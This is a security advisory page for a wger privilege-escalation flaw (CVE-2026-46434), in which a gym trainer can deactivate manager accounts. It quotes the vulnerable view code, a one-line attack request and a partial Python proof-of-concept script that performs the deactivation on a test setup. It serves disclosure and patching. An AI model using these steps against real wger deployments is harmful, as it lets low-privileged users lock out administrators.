wger: Trainer Privilege Escalation - Improper Privilege Management
CVE-2026-46434 · GHSA-x249-cx55-2h87 · PYSEC-2026-4316 · published 7 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-46434?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
wger(PyPI) <= 2.1
How to check
- Run
pip show wgerin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- No fixed version of
wgeryet. Replace or remove it, or apply the workaround in the advisory below. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
### Details
`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:
```python
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
```
`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:
```python
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
```
The `dispatch()` method only verifies same-gym membership:
```python
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
```
There is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415).
An additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `'trainer'` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
### PoC
#### Prerequisites
- A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker)
- Both users belong to the same gym
#### Attack Steps
```
# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
```
The manager's account is immediately set to `is_active = False`. The manager can no longer log in.
#### Proof of Concept Script
```python
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Setup via Django ORM (must run inside container) ----
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
Group.objects.get_or_create(name=name)
# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")
# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
username=MANAGER_USER,
defaults={"is_active": True}
)
if created:
manager.set_password(MANAGER_PASS)
manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f" Groups: {[g.name for g in manager.groups.all()]}")
print(f" is_active: {manager.is_active}")
# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
username=TRAINER_USER,
defaults={"is_active": True}
)
if created:
trainer.set_password(TRAINER_PASS)
trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f" Groups: {[g.name for g in trainer.groups.all()]}")
# ---- 1. Verify manager is active BEFORE attack ----
manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"
# ---- 2. ATTACK: Trainer deactivates manager ----
print(f"\n{'='*65}")
print(f" ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")
from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n GET /en/user/{manager.id}/deactivate")
print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f" Response: HTTP {resp.status_code}")
# ---- 3. VERIFY -…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/wger-project/wger/security/advisories/GHSA-x249-cx55-2h87
- github.com/wger-project/wger/releases/tag/2.6
- nvd.nist.gov/vuln/detail/CVE-2026-46434
- github.com/wger-project/wger/commit/9be2d5f2b4559f9a9d5b3f3b3cdadcfef449f645
- github.com/pypa/advisory-database/tree/main/vulns/wger/PYSEC-2026-4316.yaml
- pypi.org/project/wger
- github.com/advisories/GHSA-x249-cx55-2h87
- github.com/wger-project/wger
Merged from GitHub Advisory Database, OSV. Last updated 27 Oct 2026. All vulnerabilities · RSS · JSON